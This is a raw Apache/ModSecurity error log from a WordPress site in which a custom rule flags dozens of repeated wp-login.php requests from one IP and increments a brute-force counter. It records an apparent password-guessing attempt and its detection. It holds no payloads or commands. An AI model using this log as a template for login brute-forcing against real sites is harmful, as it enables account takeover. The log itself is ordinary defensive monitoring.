[Fri Feb 27 20:45:07.071139 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR08KBhrfI6KNv9Ril-gAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:08.242327 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR1MKBhrfI6KNv9Ril-wAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:10.765545 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR1sKBhrfI6KNv9Ril_gAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:11.987356 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR18KBhrfI6KNv9Ril_wAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:14.456560 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR2sKBhrfI6KNv9RimBAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:15.651559 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR28KBhrfI6KNv9RimBgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:18.149436 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR3sKBhrfI6KNv9RimEwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:19.328952 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR38KBhrfI6KNv9RimGAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:21.899142 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR4cKBhrfI6KNv9RimIAAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:23.108213 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR48KBhrfI6KNv9RimIgAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:25.607268 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR5cKBhrfI6KNv9RimKAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:26.819612 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR5sKBhrfI6KNv9RimLAAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:29.323928 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR6cKBhrfI6KNv9RimLgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:30.478830 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR6sKBhrfI6KNv9RimLwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:33.007527 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR7cKBhrfI6KNv9RimMQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:34.902379 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR7sKBhrfI6KNv9RimOQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:37.430940 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR8cKBhrfI6KNv9RimSAAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:38.585696 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR8sKBhrfI6KNv9RimTQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:41.035457 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR9cKBhrfI6KNv9RimUAAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:42.222840 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR9sKBhrfI6KNv9RimUgAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:45.852508 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR-cKBhrfI6KNv9RimXQAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:47.022820 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR-8KBhrfI6KNv9RimXwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:50.773112 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR_sKBhrfI6KNv9RimYQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:51.965808 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR_8KBhrfI6KNv9RimYgAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:54.463705 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSAsKBhrfI6KNv9RimZQAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:55.655862 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSA8KBhrfI6KNv9RimZwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:58.160608 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSBsKBhrfI6KNv9RimagAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:59.361616 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSB8KBhrfI6KNv9RimawAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:02.139215 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSCsKBhrfI6KNv9RimbQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:03.426747 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSC8KBhrfI6KNv9RimbgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:06.004240 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSDsKBhrfI6KNv9RimdwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:07.241379 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSD8KBhrfI6KNv9RimfwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:09.721559 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSEcKBhrfI6KNv9RimhQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:10.894951 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSEsKBhrfI6KNv9RimhgAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:13.385560 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSFcKBhrfI6KNv9RimiAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:14.633197 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSFsKBhrfI6KNv9RimiQAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:17.112680 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSGcKBhrfI6KNv9RimiwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:18.270654 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSGsKBhrfI6KNv9RimjAAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:20.757070 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSHMKBhrfI6KNv9RimkAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:21.954016 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSHcKBhrfI6KNv9RimkwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:24.451447 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSIMKBhrfI6KNv9RimngAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:25.656273 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSIcKBhrfI6KNv9RimnwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:28.149947 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSJMKBhrfI6KNv9RimoQAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:29.379871 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSJcKBhrfI6KNv9RimogAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:31.956315 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSJ8KBhrfI6KNv9RimrAAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:33.440571 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSKcKBhrfI6KNv9RimrwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:36.080684 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSLMKBhrfI6KNv9RimuAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:38.232948 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSLsKBhrfI6KNv9Rim0QAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:40.734141 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSMMKBhrfI6KNv9Rim2wAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:41.992858 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSMcKBhrfI6KNv9Rim3gAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:44.501585 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSNMKBhrfI6KNv9Rim4QAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:45.666066 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSNcKBhrfI6KNv9Rim4wAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:48.275410 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSOMKBhrfI6KNv9Rim5gAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:49.456556 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSOcKBhrfI6KNv9Rim5wAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:51.974901 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSO8KBhrfI6KNv9Rim6gAAABY"], referer: https://gigfragments.org/wp-login.php
